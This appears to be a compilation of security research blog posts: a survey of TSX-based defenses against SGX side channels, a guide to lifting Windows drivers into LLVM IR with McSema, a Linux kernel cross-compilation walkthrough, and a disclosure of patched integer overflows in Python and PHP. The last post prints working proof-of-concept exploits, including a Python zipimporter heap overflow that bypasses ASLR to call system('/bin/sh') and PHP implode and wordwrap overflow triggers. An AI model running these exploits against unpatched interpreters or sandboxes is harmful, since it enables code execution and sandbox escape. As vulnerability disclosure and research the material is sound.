The weak adversary model significantly limits the capabilities of side-channel attacks and, more importantly, assuming a strong adversary model does not make sense in most of the practical scenarios. For example, although an attacker who has the control over an OS can overcome the abovementioned limitations and launch effective side-channel attacks against a victim program. However, given such high privilege, the attacker can directly extract sensitive data from the victim program; that is, the strong attacker generally does not need to rely on side channels at all.

However, this is not the case in the context of Intel Software Guard Extensions (SGX). The high-level goal of SGX is to protect a user-space program in a hostile environment (e.g., a public cloud in which administrators are untrusted). More specifically, SGX protects the program from all privileged accesses including those from an OS and a hypervisor. Unfortunately, the design of SGX does not consider side-channel attacks, and therefore the program is still vulnerable to this type of attacks.

Given that an SGX-protected program is still vulnerable to side-channel attacks, the SGX's strong adversary model (e.g., an attacker controls the underlying OS) allows powerful attacks with all the limitations addressed. More specifically, the attacker can easily meet the prerequisites of attacks by having control over the entire system. In addition, the attacker can apply several noise reduction techniques (e.g., running the program in an isolated core) according to the type of side channel. To improve the temporal resolution of attacks, the attacker can slow down and/or frequently interrupt the execution of the program (i.e., achieve near single-stepping).

By taking advantage of the strong adversary model, communities have proposed several side-channel attacks against SGX that bypass its protection. These attacks demonstrate not only a new type of side channels but also significant improvement over the traditional ones. We summarize the state-or-the-art attacks against SGX in the following table.

Attack	Source	Granularity	High-freq interrupt
Controlled-channel attacks [1]	Page faults	Page	No
Stealthy page-table-based attacks [2]	Page-table flags	Page	Yes
Branch Shadowing [3]	Branch target buffer/Branch predictor	Branch	Yes
BranchScope [4]	Branch predictors	Branch	Yes
Last-level cache attacks [5]	Last-level caches	Cacheline	No
L1 cache attacks without Hyperthread [6]	L1 caches	Cacheline	Yes
L1 cache attacks with Hyperthread [7]	L1 caches	Cacheline	No
TLB-based attacks [8]	TLB	Page	Yes

TSX-based defenses

Defending against side-channel attacks under the strong adversary model is not an easy task. System-level approaches (e.g., isolating the source of side channels for a program) are not applicable because the OS is untrusted. Although software-based approaches (e.g., ORAM) are effective, they generally incur significant runtime overhead. Hardware-based approaches are both effective and efficient, but they are expensive and may take too much time to be adopted and deployed.

With the goal of having practical defenses, communities have explored an alternative approach that relies on an existing hardware feature: Intel Transaction Synchronization Extensions (TSX). The original purpose of TSX is to enable hardware-based transactional memory. More specifically, TSX allows developers to put a piece of code inside a transaction that ensures the atomicity of memory accesses made by the code. When the TSX detects events that violate the atomicity, it aborts the on-going transaction and invokes a user-space fallback handler without notifying the underlying OS. The key observation from communities is that these events include ones that are required by side-channel attacks.

The first proposal of TSX-based approach is T-SGX [9], which targets mainly the controlled-channel (page-fault-based) attacks. The key property of TSX that T-SGX utilizes is that TSX aborts an on-going transaction when a page fault occurs while suppressing it (i.e., the page fault is not delivered to the OS). Based on this property, T-SGX transforms a program during compile time to ensure the entire program is covered by multiple transactions. This approach effectively mitigates the controlled-channel attacks.

In addition to suppressing page faults, another important property of TSX is that it also aborts transactions when there are interrupts. According to the table in the previous section, frequent interrupts are essential to most of the side-channel attacks. For example, although the stealthy page-table-based attacks avoid the need of page faults and infer the page accesses through monitoring page-table flags (e.g., dirty and access bits), the attacks still require frequent interrupts to flush the TLB and clear the flags. For cache-, branch-prediction-, and TLB-based attacks, frequent interrupts are also necessary to obtain fine-grained information (i.e., achieve high temporal resolution). With the capability of detecting interrupts, an SGX-protected program can detect abnormally high-frequent interrupts, and therefore effectively mitigate the attacks.

For cache-based attacks that do not require frequent interrupts, another TSX-based approach, Cloak [10], utilizes the distinct property of TSX: aborting a transaction when a cache conflict occurs (e.g., eviction). Causing cache eviction is essential for cache-based attacks (e.g., using Prime+Probe) against SGX because SGX does not share its memory with other programs by design (i.e., there is no Flush+Reload attack). Cloak ensures that a concurrent cache eviction on sensitive data always results in aborting an on-going transaction by including all the sensitive data in a transaction. As a result, Cloak allows an SGX-protected program to detect malicious cache eviction, and thus mitigates the cache-based attacks that do not require interrupts.

Attack	Source	Granularity	High-freq interrupt
Controlled-channel attacks [1]	Page faults	Page	No
Stealthy page-table-based attacks [2]	Page-table flags	Page	Yes
Branch Shadowing [3]	Branch target buffer	Branch	Yes
BranchScope [4]	Branch predictors	Branch	Yes
Last-level cache attacks [5]	Last-level caches	Cacheline	No
L1 cache attacks without Hyperthread [6]	L1 caches	Cacheline	Yes
L1 cache attacks with Hyperthread [7]	L1 caches	Cacheline	No
TLB-based attacks [8]	TLB	Page	Yes

The above table summarizes the TSX-based defenses against state-of-the-art side-channel attacks against SGX. The green and yellow indicate the protection provided by T-SGX and Cloak, respectively. Combining both approaches can already effectively mitigate all the attacks.

Takeaway

Most of the studies underlook the effectiveness of T-SGX because its main focus is to defend against controlled-channel attacks. Note that controlled-channel attacks were the only known attacks at the time T-SGX was proposed. However, the feature of disallowing frequent interrupts effectively prevents attackers from obtaining side-channel information with high temporal resolution, and therefore mitigating many later-introduced attacks. Moreover, because all the other known attacks that do not require interrupts are based on the cache, Cloak shows that using TSX also effectively prevents them. As a result, we conclude that, by using TSX-based defenses, the advantage of launching side-channel attacks with the strong adversary model no longer holds. One may argue that TSX-based defenses still have some flaws. Indeed, this is because TSX is not designed to use in these ways. However, these approaches already raise the bar enough for making state-of-the-art attacks impractical (i.e., similar to the traditional ones), and we expect to see a similar hardware-based feature that dedicates for defending side-channel attacks in the future.

Reference

[1] Y. Xu, W. Cui, and M. Peinado. "Controlled-channel attacks: Deterministic side channels for untrusted operating systems." In Proceedings of the 36th IEEE Symposium on Security and Privacy (Oakland), San Jose, CA, May 2015.

[2] J. V. Bulck, N. Weichbrodt, R. Kapitza, F. Piessens, R. Strackx. "Telling Your Secrets without Page Faults: Stealthy Page Table-Based Attacks on Enclaved Execution." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.

[3] S. Lee, M.-W. Shih, P. Gera, T. Kim, H. Kim, and M. Peinado. "Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.

[4] D. Evtyushkin, R. Riley, N. Abu-Ghazaleh, and D. Ponomarev. "BranchScope: A new side-channel attack on directional branch predictor." In Proceedings of the 23rd ACM International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS), Williamsburg, VA, Mar. 2018.

[5] M. Schwarz, S. Weiser, D. Gruss, C. Maurice, and S. Mangard. "Malware guard extension: Using SGX to conceal cache attacks." In Proceedings of the 14th Conference on Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA), 2017.

[6] M. Hähnel, W. Cui, and M. Peinado. High-Resolution Side Channels for Untrusted Operating Systems. In Proceedings of the 2017 USENIX Annual Technical Conference (ATC), Santa Clara, CA, July 2017.

[7] F. Brasser, U. Müller, A. Dmitrienko, K. Kostiainen, S. Capkun, and A. Sadeghi. Software Grand Exposure: SGX Cache Attacks Are Practical. In Proceedings of the 11th USENIX Workshop on Offensive Technologies (WOOT), Vancouver, BC, Canada, Aug. 2017.

[8] W. Wang, G. Chen, X. Pan, Y. Zhang, X. Wang, V. Bindschaedler, H. Tang, and C. A. Gunter. "Leaky cauldron on the dark land: Understanding memory side-channel hazards in SGX." In ACM SIGSAC Conference on Computer and Communications Security, 2017.

[9] M.-W. Shih, S. Lee, T. Kim, and M. Peinado. "T-SGX: Eradicating Controlled-Channel Attacks Against Enclave Programs." In Proceedings of the 2017 Annual Network and Distributed System Security Symposium (NDSS), San Diego, CA, Feb.–Mar. 2017.

[10] D. Gruss, J. Lettner, F. Schuster, O. Ohrimenko, I. Haller, and M. Costa. "Strong and Efcient Cache Side-Channel Protection using Hardware Transactional Memory." In Proceedings of the 26th USENIX Security Symposium (Security), Vancouver, BC, Canada, Aug. 2017.

Lifting Windows Driver Binaries into LLVM IR

2017-10-30T00:00:00+01:00

Introduction

The LLVM Compiler Infrastructure is built to provide reusable compiler and toolchain components. The intermediate representation used by LLVM, named LLVM IR, is the basis for various kinds of analysis and instrumentations, both static and dynamic.

For open-source software and operating systems, Clang, the front-end for languages in the C-family, can be leveraged to convert C/C++ source code into LLVM IR, making it possible for doing security analysis on these software and systems.

However, in many situations, we do not always have the source code. One example is the Windows operating system, especially for the binaries that come with the system kernel such as the device drivers.

This restricts the kind of analysis that one can perform. Hence, there is definitely a need for lifting LLVM directly from binaries. In this post, I'm going to talk about lifting LLVM IR from 64-bit x86 Windows binaries.

McSema (by Trail of Bits)

Trail of Bits has developed a framework called McSema for translating compiled code to LLVM bitcode. It supports both x86 and amd64 architectures and can be used for Linux as well as Windows binaries. The translated LLVM IR can even be recompiled as a completely new executable with the exact same functionalities.

However, the LLVM bitcode generated by McSema kinds of mimics the disassembly of the compiled code. Each function's signature, that is lifted off, follows a particular pattern:

; Function Attrs: noinline nounwind
define internal fastcc %struct.Memory* @sub_1c0017f64(%struct.State* dereferenceable(2688) %state2, i64 %pc, %struct.Memory* %memory1) unnamed_addr

The first parameter (%state2) captures the internal state, including all the registers. This format is not easy to analyze since it is more like reading the disassembling. Additional work needs to be done to recover function semantics from the LLVM bitcode generated by McSema.

Recovering Function Semantics

For recovering function semantics, we need to look at %struct.State. The LLVM file generated also provides the following definition:

%struct.State = type {
  %struct.ArchState,
  [32 x %union.VectorReg],
  %struct.ArithFlags,
  %union.Flags,
  %struct.Segments,
  %struct.AddressSpace,
  %struct.GPR,                    # General purpose registers
  %struct.X87Stack,
  %struct.MMX,
  %struct.FPUStatusFlags,
  %union.Flags
}

%struct.GPR represents all the general purpose registers. Here, we only consider 64-bit Windows binaries. While calling a function, the first four parameters are put inside registers rcx, rdx, r8 and r9. The rest of the parameters are pushed on the stack. This is how this struct is defined:

struct alignas(8) GPR final {
  .
  .
  volatile uint64_t _0;
  Reg rax; // 1
  volatile uint64_t _1;
  Reg rbx; // 3
  volatile uint64_t _2;
  Reg rcx; // 5
  volatile uint64_t _3;
  Reg rdx; // 7
  .
  .
  volatile uint64_t _6;
  Reg rsp; // 13
  volatile uint64_t _7;
  Reg rbp; // 15
  volatile uint64_t _8;
  Reg r8; // 17
  volatile uint64_t _9;
  Reg r9; // 19
  .
  .
} __attribute__((packed));

The complete definition can be viewed here. The parameters in the registers are referenced by their pointers returned using getelementptr instruction. For example, the following instruction returns a pointer to rcx, i.e. the first parameter of the function:

%3 = getelementptr inbounds %struct.State, %struct.State* %state2, i64 0, i32 6, i32 5, i32 0

Parameters on the stack are referenced in a slightly complex manner. First, the rsp register value is loaded. As seen from the above structure, rsp is present at index 13.

%11 = getelementptr inbounds %struct.State, %struct.State* %state2, i64 0, i32 6, i32 13, i32 0, i32 0 # A pointer to rsp
%14 = load i64, i64* %11, align 8 # The value loaded in rsp

The fifth parameter is at offset rsp + 40 on the stack. The sixth parameter is at rsp + 48 and so on.

%15 = add i64 %14, 40 # A pointer to the value at 'rsp + 40'

While calling other functions, the same structure %state2 is passed. However, the individual registers are modified to update the parameters using store instructions. Also, the stack grows downwards (to lower memory addresses) by modifying the rsp register. After the first four parameters, the rest are setup up accordingly on the stack. The following example shows how the first parameter is modified while calling another function:

%9 = getelementptr inbounds %struct.State, %struct.State* %state2, i64 0, i32 6, i32 5, i32 0, i32 0 # A pointer to rcx, the first parameter
%87 = add i64 %85, 112 # Computed the parameter to be passed
store i64 %87, i64* %9, align 8, !tbaa !849 # Storing the value in the pointer to rcx

# A call to sub_140002ad0
%92 = tail call fastcc %struct.Memory* @sub_140002ad0(%struct.State* nonnull %state2, i64 %88, %struct.Memory* %MEMORY.0)

A Two-pass Approach

To recover the function semantics from the LLVM bitcode generated by McSema, we use two passes over every LLVM module. The following is calculated for every function:

A 'set' of Instruction for every parameter being used by the function. A particular parameter may be referenced by more than one pointers within the same function. The set represents all such possible pointers.
A list of functions that it calls.
For every function in the above list, a list of parameter values being passed to that function. Note that, there will always be a unique Value being passed so there is no notion of 'set' here.

Apart from this, the following information is also maintained for every function between the two passes:

A 'list' of Instruction that are pointers to rsp within the %state2 structure.
A 'list' of Instruction that contain actual rsp values 'loaded' from one of the above pointers.
For every rsp value loaded above, the corresponding offset of rsp from the value of rsp at the start of the function.
For every function that is being called, the corresponding rsp offset being passed.

First Pass

The first pass iterates over the instructions sequentially. The responsibility of this pass is to get the list of parameters being used by this function and also to keep a track of the stack pointer. The following type of instructions are taken into consideration:

GetElementPtrInst: These instructions are used to retrieve pointers to various registers from the %state2 structure. Pointers to the first four parameters (rcx, rdx, r8, r9) along with the stack pointer (rsp) are saved.
CallInst: All function calls to other functions present in the bitcode are recorded. The current rspOffset is also recorded. Also, every function call leads to an increase in the increase of the stack pointer by 8 bytes.
BitCastInst: If the source of a BitCastInst is a recorded pointer to a parameter, the target of the instruction is also added to the same set, since both reference the same parameter.
LoadInst: If a value is being loaded from a pointer to rsp (stored above), the corresponding target is recorded along with the current rspOffset.
StoreInst: If a value is being stored as the new stack pointer (rsp) in %state2, the source must be a value pointing somewhere on the stack. The currentOffset is updated accordingly.
BinaryOperator: Operations on pointers on the stack are performed using this instruction. A new pointer on stack is generated using an existing pointer. Now, this pointer may point to one of the parameters being passed to the coming functions and is recorded accordingly.

Second Pass

Similar to the first pass, the second pass also iterated over the instructions sequentially. The responsibility of this pass is to keep a track of the current state of parameters and associate them with functions that are called. The following types of instructions are taken into consideration:

IntToPtrInst: If the source of this instruction is a pointer on the stack, so is the target.
StoreInst: Parameters are stored in %state2 using this instruction. The target operand is checked for either of the four parameter registers (rcx, rdx, r8, r9) and currentParams is updated accordingly. This instruction is also used to store some parameter on stack. If the target operand is any pointer on the stack, the value pushed is recorded.
Callinst: At this point, a function call is being made and currentParams store the state of the first four parameters being passed. Also, the values pushed on stack earlier are treated as parameters and also recorded with the target function.

Using these two passes we now have a complete list of all parameters being passed to any function. We also have the parameters that a function passes to other functions.

Proofread by Meng Xu

Linux Kernel Cross Compilation

2017-10-06T00:00:00+02:00

Introduction

There are several reasons to cross-compile the Linux kernel:

Compiling on a native CPU and hardware requires a wide range of devices, which is not so practical. Furthermore, the actual hardware is often not suitable for the workload of kernel compilation due to a slow CPU, small memory, etc.
Hardware emulation (e.g., with qemu) can be a viable substitution if the slowness can be tolerated. However, how to setup the compilation environment is another challenge, as it requires at least a preferably Linux-flavored OS, the bash and make ecosystem, and most importantly, the toolchain.
Cross-compiling on a powerful host enables quick detection of kernel compile errors and config errors, as shown in the stable queue builds project. Coupled with emulation, testing on non-native architectures becomes easier as well.

For my personal use, I would like to see the kernel build process on each architecture, capture the compilation flags of each files, collect their linking information, and finally see if I can mine some insights out of it. In this case, given the complexity of parsing the Kconfig and Makefile, probably the best way is to actually build the kernel and dump the verbose version of the build log.

Fortunately, with a modern Linux release (like Ubuntu or Fedora), all we need to cross-compile the kernel is a toolchain that can produce binaries for another CPU architecture.

Toolchain

On cross-compiling the kernel, we only need two things: binutils, and gcc, and there are generally two ways to obtain them:

install pre-compiled packages
build from source

Installing pre-compiled packages can be a hassle-free way if you don't want to get your hands dirty. In fact, for the following architectures: arm, aarch64, hppa, hppa64, m68k, mips, mips64, powerpc, powerpc64, s390x, sh4, sparc64, you can directly obtain them via apt-get from the official repositories. For example,

apt-get install binutils-aarch64-linux-gnu gcc-aarch64-linux-gnu

Toolchains for other architectures such as blackfin, c6x, and tile can be obtained from the Fedora repo and converted to .deb packages as shown in the tutorial in 2013.

However, in case you want to compile the toolchain from source, for whatever reasons you might have, such as using the latest version or a customized version of gcc, you might follow the following steps.

As a head up, I am running a standard Ubuntu 16.04.3 LTS release with kernel version 4.4.0. The host gcc and binutils (i.e., the gcc and binutils used to build the toolchain) are the default ones with the Ubuntu release, which is in version 5.4.0 and 2.27 respectively. However, I don't see major obstacles in applying it to other combinations of OS, gcc, and binutils versions as long as they are recent enough to build the toolchain.

Before diving into the building process, let's setup some environment variables. Part of them are for convenience reasons, while others are necessary in the build process.

export TARGET=aarch64-unknown-linux-gnu     # replace with your intended target
export PREFIX="$HOME/opt/cross/aarch64"     # replace with your intended path
export PATH="$PREFIX/bin:$PATH"

The TARGET variable should be a target triplet which is used by the autoconf system. Their valid values can be found in the config.guess script.

The last step is necessary. By adding the installation prefix to the the PATH of the current shell session, we ensure the gcc is able to detect our new binutils once we have built them.

binutils

The source code for binutils can be obtained from the GNU servers:

# for stable releases
BINUTILS_VERSION=2.29.1
wget ftp://ftp.gnu.org/gnu/binutils/binutils-$BINUTILS_VERSION.tar.xz

# for development branch
git clone git://sourceware.org/git/binutils-gdb.git

After that, modify the source code as you wish and build it with the following steps.

cd $BINUTILS_BUILD

$BINUTILS_SOURCE/configure \
  --target=$TARGET \
  --prefix=$PREFIX \
  --with-sysroot \
  --disable-nls \
  --disable-werror

make
make install

Since we have multiple targets to build, it is better to have a separate build directory for each target.

--disable-nls tells binutils not to include native language support. This is optional, but reduces dependencies and compile time.

--with-sysroot tells binutils to enable sysroot support in the cross-compiler by pointing it to a default empty directory. By default the linker refuses to use sysroots for no good technical reason, while gcc is able to handle both cases at runtime.

--disable-werror behaves exactly as the name suggests, do not add -Werror in the flag.

After installation, the binaries aarch64-unknown-linux-gnu-{as/ar/ld/...} should exist in $PATH.

These instructions apply to binutils version 2.29.1, which is the latest release at the time of writing.

gcc

Similar to binutils. the source code for gcc can be obtained from the GNU servers too:

# for stable releases
GCC_VERSION=7.2.0
wget ftp://ftp.gnu.org/gnu/gcc/gcc-$GCC_VERSION/gcc-$GCC_VERSION.tar.xz

# for development branch
git clone git://gcc.gnu.org/git/gcc.git

After that, modify the source code as you wish and build it with the following steps.

cd $GCC_SOURCE
./contrib/download_prerequisites

cd $GCC_BUILD
$GCC_SOURCE/configure \
  --target=$TARGET \
  --prefix=$PREFIX \
  --enable-languages=c,c++ \
  --without-headers \
  --disable-nls \
  --disable-shared \
  --disable-decimal-float \
  --disable-threads \
  --disable-libmudflap \
  --disable-libssp \
  --disable-libgomp \
  --disable-libquadmath \
  --disable-libatomic \
  --disable-libmpx \
  --disable-libcc1

make all-gcc
make install-gcc

Downloading the pre-requisites (gmp, mpfr, mpc, isl) areis necessary as gcc needs these packages for compilation. This is handled seamlessly with the download_prerequisites script.

--enable-languages=c,c++ tells gcc not to build frontends for other languages like Fortran, Java, etc.

--without-headers tells gcc not to rely on any C library being present for the target.

--disable-<package> tells gcc not to build those packages as they will not be needed in kernel compilation.

More importantly, we should not simply make all as that would build way too much (for example, the libgcc, libc, libstdc++, etc), which are not needed at all. All we need is the compiler itself which can be built by make all-gcc.

Another important note is that in order for gcc to lookup the correct set of binutils, both $TARGET and $PREFIX must be exactly the same when configuring binutils and gcc. For example, aarch64-unknown-linux-gnu-gcc will lookup aarch64-unknown-linux-gnu-as in the same directory: merely putting aarch64-unknown-linux-gnu-as in $PATHis not enough.

The instructions apply to gcc version 7.2.0, which is the latest release at the time of writing.

After the whole process, the following files should present in the $PREFIX/bin directory, and also in the $PATH.

aarch64-unknown-linux-gnu-addr2line
aarch64-unknown-linux-gnu-ar
aarch64-unknown-linux-gnu-as
aarch64-unknown-linux-gnu-c++
aarch64-unknown-linux-gnu-c++filt
aarch64-unknown-linux-gnu-cpp
aarch64-unknown-linux-gnu-elfedit
aarch64-unknown-linux-gnu-g++
aarch64-unknown-linux-gnu-gcc
aarch64-unknown-linux-gnu-gcc-7.2.0
aarch64-unknown-linux-gnu-gcc-ar
aarch64-unknown-linux-gnu-gcc-nm
aarch64-unknown-linux-gnu-gcc-ranlib
aarch64-unknown-linux-gnu-gcov
aarch64-unknown-linux-gnu-gcov-dump
aarch64-unknown-linux-gnu-gcov-tool
aarch64-unknown-linux-gnu-gprof
aarch64-unknown-linux-gnu-ld
aarch64-unknown-linux-gnu-ld.bfd
aarch64-unknown-linux-gnu-nm
aarch64-unknown-linux-gnu-objcopy
aarch64-unknown-linux-gnu-objdump
aarch64-unknown-linux-gnu-ranlib
aarch64-unknown-linux-gnu-readelf
aarch64-unknown-linux-gnu-size
aarch64-unknown-linux-gnu-strings
aarch64-unknown-linux-gnu-strip

Kernel Build

With the toolchain ready, cross-compiling the kernel involves two extra steps:

Find the architecture name ($KERNEL_ARCH) in kernel source tree
- they are typically Located in arch/* in the kernel source tree.
Find the configuration ($KERNEL_CONF) for each sub-arch (e.g., 32-bit vs 64-bit, big endian vs little endian, etc)
- make ARCH=$KERNEL_ARCH help will show some hints.
- if there is no specific machine config, the defconfig should work.
- if there are available machine configs, choosing from an existing config seems to be more hassle free compared with doing a manual menuconfig.

Once we find the values for $KERNEL_ARCH and $KERNEL_CONF, cross-compiling the kernel is as easy as the following:

cd $KERNEL_SOURCE
make ARCH=$KERNEL_ARCH O=$KERNEL_BUILD $KERNEL_CONF

cd $KERNEL_BUILD
make ARCH=$KERNEL_ARCH CROSS_COMPILE=$TARGET- V=1 vmlinux modules

For example, in the case of building the aarch64 kernel, the command should look like the following:

cd $KERNEL_SOURCE
make ARCH=arm64 O=$KERNEL_BUILD defconfig

cd $KERNEL_BUILD
make ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- V=1 vmlinux modules

Of course we can always speed up the build process with the make -j flags.

The instructions apply to Linux kernel version 4.13.5, which is the latest release at the time of writing.

Results

In total, I have currently cross-compiled the kernel for 7 architectures and 12 sub-archs, with the procedure described above. The result is summarized in the following table:

I have also tried building an allyesconfig kernel and succeeded in 7 architectures, as shown in the following table. Unfortunately, ia64 failed miserably with error message Error: Operand 2 of 'adds' should be a 14-bit integer (-8192-8191), and the error seems to have been there for more than 7 months.

In case you want to try out, you can directly feed the corresponding values for $TARGET, $KERNEL_ARCH, and $KERNEL_CONF into the scripts above and test.

Future works

I did not try with the less common (or inactive) architectures such as blackfin, sh, or tile although I believe that they can be cross-compiled in the similar way as well.

Certain architectures are not available in the official gcc source tree and one example is the gcc for openrisc. In these cases, we have to compile the toolchain from the correspondingly ported versions such as GCC port for OpenRISC 1000.

Integer Overflow Vulnerabilities in Language Interpreters

2016-10-11T00:00:00+02:00

Introduction

Security vulnerabilities in language interpreters are considered more critical than bugs in software in general because they could break the trust for trusted computing base (TCB) as Ken Thompson pointed on his famous turing award lecture in 1984 [1]. For instance, these vulnerabilities break the security guarantee provided by security analysis tools or code auditing while the most of such analyses grounded on the trust for language interpreters. Instead of starting the security analysis from low-level parts of a machine, the analysis sets the interpreter as a root of trust, then performs static and dynamic analyses over the language abstraction to test software against bugs. Although such analyses can catch bugs in the code level, they cannot detect vulnerabilities underlying the interpreter. These hideous vulnerabilities, if any of these is exploited, break the trust guaranteed by the analyses performed over the code.

Another example remarkably affected by such bugs is the language interpreter sandbox in cloud providers. Cloud providers such as Google App Engine modified the language interpreter to create sandbox by only providing restricted environment (e.g., that cannot execute shell command or cannot interact with OS-related functions) to the guest of the cloud. The main purpose of having such sandboxes is to isolate the guest and limit the resource while not running the code in the virtual machines, which is costly in performance. Nonetheless, since the restrictions of the sandbox is based on trusted language interpreters, the isolation cannot be guaranteed if a vulnerability in the interpreter is exploited by an attacker.

In this article, we demostrate four integer overflow vulnerabilities, which are found by our recent research work [2], in Python and PHP language interpreters that can be exploited for control-flow hijacking. These vulnerabilities undermine the trust of language interpreters, thus break security guarantees on language runtime sandbox. We note that all these vulnerabilities disclosed here have been patched already in the upstream release version of Python and PHP.

Python zipimporter heap overflow(CVE-2016-5636)

zipimport

$ python
>>> import sys
>>> sys.path
[..., '/usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg', ...]
$ file /usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg
/usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg: Zip archive data, at least v2.0 to extract

sys.path, search paths for modules, contains not only directories, but also ZIP files. zipimport module provides the way to import Python modules from ZIP-format archives.

Vulnerability

// zipimporter.c
bytes_size = compress == 0 ? data_size : data_size + 1;
if (bytes_size == 0)
    bytes_size++;
raw_data = PyBytes_FromStringAndSize((char *)NULL, bytes_size);

The vulnerability exists in ZIP file decoder of zipimporter module. data_size, extracted from ZIP file, is not properly validated. If data_size is 0xffffffff(-1) and compress is non-zero, then bytes_size, buffer size for storing file data, becomes one. Later, Python reads a file to this small buffer and heap overflow is occurred.

Bypass ASLR

>>> hex(id('a'))
'0x7f6c2c677710'

To achieve arbitrary code execution, we need to bypass ASLR. Fortunately, Python uses a memory address as an id of an objet. By using built-in id, we can bypass ASLR.

Proof of Concept

#!/usr/bin/env python2
import os
import zipimport
import zipfile
import struct

FILE = 'payload'
ZIP = 'import.zip'
DIR = 'sh'

if not os.path.exists(DIR):
    os.mkdir(DIR)

addr = id("A")
libc_base = addr
system_addr = libc_base + 0x46640
print("LIBC_BASE : %x" % libc_base)

bin_sh = os.path.join(DIR, struct.pack('<Q',  libc_base + 0x7b1998).replace("\x00", ""))
with open(bin_sh, 'w') as f:
    f.write("/bin/sh")
os.chmod(bin_sh, 0777)
os.putenv("PATH", os.getenv("PATH") + ":" + DIR)

some_string_obj = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
some_string_obj += "QQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccddddeeeeffff"
some_string_obj += "gggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvv"
some_string_obj += "wwwwxxxxyyyyzzzz"
some_string_obj += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
some_string_obj += "QQQQRRRRSSSSTTTTUUUU"
print("%x" % id(some_string_obj))

# func addr here
some_string_obj += struct.pack('<Q', system_addr)
a = some_string_obj
addr = id(a)
addrs = []
for i in xrange(8):
    addrs.append(addr % 0x100)
    addr /= 0x100
addrs_2 = map(lambda x:chr(x), addrs)
print(addrs_2)

print("%x" % id(some_string_obj))
# generate input
with open(FILE, 'wb') as f:
    payload = ("aaaa"+("".join(addrs_2)) * 128)
    f.write(payload)

zf = zipfile.PyZipFile(ZIP, mode='w')
zf.write(FILE)
zf.close()

importer = zipimport.zipimporter(ZIP)
f = list(importer._files[FILE])
f[1] = 1 # compress
f[2] = -1 # file size
importer._files[FILE] = tuple(f)
importer.get_data(FILE)

Google App Engine

Since zipimport is an essential module for Python, it is in the whitelist of Google App Engine's Python sandbox. Consequently, the attacker can exploit this vulnerability to break the sandbox. We reported this issue to Google upon its discovery.

Integer Overflow in PHP

In PHP v7.0.2, strings are generally allocated by zend_string_alloc() function.

// zend/zend_string.h
static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent)
{
    zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);

    GC_REFCOUNT(ret) = 1;
    //..

    ZSTR_LEN(ret) = len;
    return ret;
}

The function is a wrapper of pemalloc. The function internally invokes pemalloc(size) to allocate the memory, with size value with respect to len variable. The function itself seems to not to have any bug, however, using the function with arithmetic expression as the length argument can create a vulnerability.

Vulnerability example in php_implode

// ext/standard/string.c
PHPAPI void php_implode(const zend_string *delim, zval *arr, zval *return_value)
{
    // ...
    str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0);
    // ...
}

A vulnerable example is in the php_implode function. The function invokes zend_string_alloc with the following arithmetic expression as the length argument: len + (numelems - 1) * ZSTR_LEN(delim)

An integer overflow can arise in the expression if the values are carefully manimulated. For instance, in case when the size of string delim is 65,536, number of elements are 65,536, and the length of the string len is 65,536, then the size value will be zero (65536 + 65535 * 65536) = 4294967296 = 0

The following code shows the proof-of-concept (PoC) that exploits the vulnerability.

<?php
    $arr = [];
    for($i=0;$i<65536; ++$i) {
        $arr[$i]= "aa";
    }
    $text1 = str_repeat("ABCD", 16384);
    // Changing ABCD into other values will alter %eax and %ecx.
    $str = implode($text1, $arr);
?>

Exploiting the vulnerability requires the size of strings for the arguments to be matched to overflow, as mentioned above. First, we build the string $text1 to be 65,536 sized string (ABCD is repeated 16,384 times).

We searched for similar cases (i.e., use of zend_string_alloc with multiplication expression) in ext/standard/string.c file, we found three of such cases, and successfully create control-flow hijacking exploits for all cases.

php_wordwrap()

// ext/standard/string.c
PHP_FUNCTION(wordwrap)
{
    // ...

    // allocate string into newtext variable
    if (linelength > 0) {
        chk = (size_t)(ZSTR_LEN(text)/linelength + 1);
        newtext = zend_string_alloc(chk * breakchar_len + ZSTR_LEN(text), 0);
        alloced = ZSTR_LEN(text) + chk * breakchar_len + 1;
    } else {
        chk = ZSTR_LEN(text);
        alloced = ZSTR_LEN(text) * (breakchar_len + 1) + 1;
        newtext = zend_string_alloc(ZSTR_LEN(text) * (breakchar_len + 1), 0);
    }

    // ...

    // do multiple memcpy()...
    if(...) {

        memcpy(ZSTR_VAL(newtext) + newtextlen, ZSTR_VAL(text) + laststart, current - laststart + breakchar_len);

        memcpy(ZSTR_VAL(newtext) + newtextlen, ZSTR_VAL(text) + laststart, current - laststart);

        memcpy(ZSTR_VAL(newtext) + newtextlen, breakchar, breakchar_len);

        memcpy(ZSTR_VAL(newtext) + newtextlen, ZSTR_VAL(text) + laststart, current - laststart);

    }
}

In the code, wordwrap() allocates memory for new string by calling zend_string_alloc, with size argument as either of chk * breakchar_len + ZSTR_LEN(text) or ZSTR_LEN(text) * (breakchar_len + 1).

The expression for the size argument can cause a condition of integer overflow. In the second expression (ZSTR_LEN(text) * (breakchar_len + 1)), if the attacker forges the argument as 65,536 (2^16) character string for text, and 65,535 (2^16 - 1) character string as breakchar, then the resulting value will be (65,536) * (65,535 + 1) = 4294967296 = 0.

In such a case, zend_string_alloc will allocate a zero sized buffer (actually, a little bigger than zero because it is aligned by Zend object size), and then subsequnt memcpy will overwrite the heap buffer.

Proof-of-Concept code for triggering the vulnerability is in the following.

<?php
    $text1 = str_repeat("A", 65536);
    $text2 = str_repeat("B", 65536 - 1);
    $newtext = wordwrap($text1, -1, $text2);
?>

